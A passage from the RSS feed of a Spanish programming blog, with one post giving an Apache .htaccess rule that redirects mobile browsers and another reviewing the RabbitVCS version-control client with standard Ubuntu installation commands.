<li><a href='http://www.pedroventura.com/blog_programacion/internet/mejoras-en-google-friend-connect/' rel='bookmark' title='Mejoras en Google Friend Connect'>Mejoras en Google Friend Connect</a> <small>Google Friend Connect está mejora e incorporando nuevas funcionalidades a...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/seo/plugin-cache-en-wordpress-mejora-la-velocidad-de-tu-blog-y-el-seo/' rel='bookmark' title='plugin cache en wordpress. Mejora la velocidad de tu blog… y el SEO'>plugin cache en wordpress. Mejora la velocidad de tu blog… y el SEO</a> <small>Desde hace unas semanas que he empezado a usar un...</small></li>
<li><a href='http://www.pedroventura.com/blog_programacion/linux/como-vaciar-o-eliminar-el-contenido-de-un-archivo-existente-en-unix-linux/' rel='bookmark' title='Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux'>Como vaciar o eliminar el contenido de un archivo existente en UNIX / Linux</a> <small>Si quieres eliminar el contenido que un archivo UNIX, puedes...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/seo/mejoras-seo-para-ofrecer-un-contenido-en-multi-idioma-etiqueta-hreflang/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Directiva htaccess para redireccionar web en dispositivo móvil</title>
		<link>http://www.pedroventura.com/blog_programacion/sysadmin/directiva-htaccess-para-redireccionar-web-en-dispositivo-movil/</link>
		<comments>http://www.pedroventura.com/blog_programacion/sysadmin/directiva-htaccess-para-redireccionar-web-en-dispositivo-movil/#comments</comments>
		<pubDate>Mon, 02 Jan 2012 09:30:54 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[navegadores]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3406</guid>
		<description><![CDATA[Ya es sabido que es muy importante el diseño y desarrollo de nuestro site para integrarlo en dispositivos móviles como iPads, iPhones y el resto de smartphones. Hay que elaborar un diseño más fácil para que sea legible y se pueda usar en múltiples resoluciones. Teniendo ésto en cuento y previamente haber hecho adaptaciones para los dispositivos móviles, incluyo una redirección de apache que se puede incluir en el htaccess de nuestro desarrollo para llevar a cabo la redirección del dispositivo móvil del que venga y así redirigir a una versión móvil más optima para el usuario de teléfono o dispositivo móvil. Otra versión en htaccess que redirecciona en función del navegador web es la que he visto en la herramienta http://detectmobilebrowsers.com/ En esta herramienta podemos ver diferentes manera de redireccionar en función del navegador web del dispositivo móvil, y se puede hacer en muchos lenguajes, tipo python, perl, JSP, Javascript, php, etc.. también hay una directiva para el servidor nginx. Tags de búsquedas: mostrar pagina en funcion de dispositivo php, redireccionar web para moviles javascript, version movil cakephp para ipadNo related posts.
No related posts.]]></description>
			<content:encoded><![CDATA[<p>Ya es sabido que es muy importante el diseño y desarrollo de nuestro site para integrarlo en dispositivos móviles como iPads, iPhones y el resto de smartphones. Hay que elaborar un diseño más fácil para que sea legible y se pueda usar en múltiples resoluciones. Teniendo ésto en cuento y previamente haber hecho adaptaciones para los dispositivos móviles, incluyo una redirección de apache que se puede incluir en el htaccess de nuestro desarrollo para llevar a cabo la redirección del dispositivo móvil del que venga y así redirigir a una versión móvil más optima para el usuario de teléfono o dispositivo móvil.</p>
<pre class="brush: plain; title: ; notranslate">
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/m/.*$
RewriteCond %{HTTP_ACCEPT} &quot;text/vnd.wap.wml|application/vnd.wap.xhtml+xml&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT}  &quot;maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;wapp|wapr|webc|winw|winw|xda|xda-&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;up.browser|up.link|windowssce|iemobile|mini|mmp&quot; [NC,OR]
RewriteCond %{HTTP_USER_AGENT} &quot;symbian|midp|wap|phone|pocket|mobile|pda|psp&quot; [NC]
#------------- The line below excludes the iPad
RewriteCond %{HTTP_USER_AGENT} !^.*iPad.*$
#-------------
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] #*SEE NOTE BELOW
RewriteRule ^(.*)$ /m/ [L,R=302]
</pre>
<p>Otra versión en htaccess que redirecciona en función del navegador web es la que he visto en la herramienta <a href="http://detectmobilebrowsers.com/" target="_blank" rel="nofollow">http://detectmobilebrowsers.com/</a></p>
<p>En esta herramienta podemos ver diferentes manera de redireccionar en función del navegador web del dispositivo móvil, y se puede hacer en muchos lenguajes, tipo python, perl, JSP, Javascript, php, etc.. también hay una directiva para el servidor nginx.</p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> mostrar pagina en funcion de dispositivo php, redireccionar web para moviles javascript, version movil cakephp para ipad</p><p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/sysadmin/directiva-htaccess-para-redireccionar-web-en-dispositivo-movil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RabbitVCS herramienta para control de versiones con Subversion y Git para Linux</title>
		<link>http://www.pedroventura.com/blog_programacion/linux/rabbitvcs-herramienta-para-control-de-versiones-con-subversion-y-git-para-linux/</link>
		<comments>http://www.pedroventura.com/blog_programacion/linux/rabbitvcs-herramienta-para-control-de-versiones-con-subversion-y-git-para-linux/#comments</comments>
		<pubDate>Thu, 24 Nov 2011 09:52:53 +0000</pubDate>
		<dc:creator>Pedro Ventura</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[subversion]]></category>

		<guid isPermaLink="false">http://www.pedroventura.com/?p=3370</guid>
		<description><![CDATA[Sin duda el mejor cliente SVN. He probado KDESVN, SVN Workbench, RapidSVN y SmartSVN. Sin duda RabbitVCS es, personalmente, el mejor cliente con soporte Subversión para Linux. Es lo más parece al TortoiseSVN de windows, que está muy bien logrado y muy fácil de usar. RabbitVCS ofrece integración para el administrador de ficheros (File Manager) de Nautilus y Thunar. También para el editor de texto Gedit. Y como he comentado ofrece soporte para Subversión y Git. Integración con Nautilus Integración con Gedit Integración con Thunar Ejecución en linea de comandos Navegar en el repositorio de Subversion Git LOG En definitiva incluye una completa gama de funcionalidades y recursos. Instalación en Ubuntu Añadir el repositorio Añadir en source. En el archivo /etc/apt/sources.list en **DISTRIBUTION** hay que agregar la distribución de tu versión de ubuntu entre las disponible que soporta RabbitVCS, en el siguiente enlace se puede ver las distintas distribución soportas por el software http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu/dists/ Actualizar los repositorios de software con Terminar la instalación con Como yo tengo, a día de hoy, Ubuntu 11.10 de 64bits no me funcionaba este último paso, por lo que el último paso no lo llegué a realizar directamente desde consola sino que una vez hecho [...]
No related posts.]]></description>
			<content:encoded><![CDATA[<p>Sin duda el mejor cliente SVN. He probado KDESVN, SVN Workbench, RapidSVN y SmartSVN. Sin duda RabbitVCS es, personalmente, el mejor cliente con soporte Subversión para Linux. Es lo más parece al TortoiseSVN  de windows, que está muy bien logrado y muy fácil de usar. </p>
<p>RabbitVCS ofrece integración para el administrador de ficheros (File Manager) de Nautilus y Thunar. También para el editor de texto Gedit. Y como he comentado ofrece soporte para Subversión y <a href="http://www.pedroventura.com/guias-de-referencia/guia-referencia-comandos-github/" target="_blank">Git</a>.</p>
<p><strong>Integración con Nautilus</strong></p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/context_menu-300x202.png" alt="" title="context_menu" width="300" height="202" class="aligncenter size-medium wp-image-3372" /></p>
<p><strong>Integración con Gedit</strong></p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/gedit-git-300x292.png" alt="" title="gedit-git" width="300" height="292" class="aligncenter size-medium wp-image-3373" /></p>
<p><strong>Integración con Thunar</strong></p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/thunar-git-300x272.png" alt="" title="thunar-git" width="300" height="272" class="aligncenter size-medium wp-image-3374" /></p>
<p><strong>Ejecución en linea de comandos</strong></p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/command-line-300x251.png" alt="" title="command-line" width="300" height="251" class="aligncenter size-medium wp-image-3375" /></p>
<p><strong>Navegar en el repositorio de Subversion</strong></p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/nautilus-svn-300x241.png" alt="" title="nautilus-svn" width="300" height="241" class="aligncenter size-medium wp-image-3376" /></p>
<p><strong>Git LOG</strong></p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/git-log-300x228.png" alt="" title="git-log" width="300" height="228" class="aligncenter size-medium wp-image-3377" /></p>
<p>En definitiva incluye una completa gama de funcionalidades y recursos.</p>
<p><strong>Instalación en Ubuntu</strong></p>
<p>Añadir el repositorio</p>
<pre class="brush: plain; title: ; notranslate">
sudo add-apt-repository ppa:rabbitvcs/ppa
</pre>
<p>Añadir en source. En el archivo /etc/apt/sources.list</p>
<pre class="brush: plain; title: ; notranslate">
deb http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu **DISTRIBUTION** main
</pre>
<p>en **DISTRIBUTION** hay que agregar la distribución de tu versión de ubuntu entre las disponible que soporta RabbitVCS, en el siguiente enlace se puede ver las distintas distribución soportas por el software <a href="http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu/dists/" target="_blank" rel="nofollow">http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu/dists/</a></p>
<p>Actualizar los repositorios de software con</p>
<pre class="brush: plain; title: ; notranslate">
sudo apt-get update
</pre>
<p>Terminar la instalación con </p>
<pre class="brush: plain; title: ; notranslate">
sudo apt-get install rabbitvcs-core rabbitvcs-nautilus rabbitvcs-thunar rabbitvcs-gedit rabbitvcs-cli
</pre>
<p>Como yo tengo, a día de hoy, Ubuntu 11.10 de 64bits no me funcionaba este último paso, por lo que el último paso no lo llegué a realizar directamente desde consola sino que una vez hecho el update fui a &#8220;Centro de Software de Ubuntu&#8221; y lo instalé a través del panel.</p>
<p><img src="http://blogpv2011.s3.amazonaws.com/wp-content/uploads/2011/11/Selección_005-300x187.png" alt="" title="Selección_005" width="300" height="187" class="aligncenter size-medium wp-image-3381" /></p>
<p>Luego se instala la versión Nautilus 3 extension for RabbitVCS, pedirá las dependencias y se instala el paquete rabbitvcs-core y rabbitvcs-cli. Aunque éstos se pueden instalar anteriormente desde consola. El único problema puede venir a la hora de instalar el cliente para Nautilus si tienes la última versión de éste administrador de archivos.</p>
<p>Recomiendo a todo el quiera a probarlo y usarlo, como he dicho personalmente es el que más me ha gustado y más funcionalidades tiene así como un interfaz gráfico bastante bueno.</p>
<p>Para instalar RabbitVCS en otras distribuciones de Linx tipo Fedora, Debian, CentOS, etc.. en la página oficial hay un tutorial para cada una de ellas: <a href="http://www.rabbitvcs.org/" target="_blank" rel="nofollow">http://www.rabbitvcs.org/</a></p>
<p class="listadoTagRelacionados">Tags de búsquedas:</p><p class="listadoTagRelacionados"> centro de software ubuntu rabbitvcs, gedit subversion, rabbitsvn tutorial, ubuntu rabbitvcs apt-get</p><p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.pedroventura.com/blog_programacion/linux/rabbitvcs-herramienta-para-control-de-versiones-con-subversion-y-git-para-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic (Feed is rejected)
Page Caching using disk: enhanced
Database Caching 91/206 queries in 11.349 seconds using disk: basic
Object Caching 3951/4121 objects using disk: basic
Content Delivery Network via Amazon Web Services: S3: blogpv2011.s3.amazonaws.com

Served from: www.pedroventura.com @ 2012-05-19 15:00:16 -->
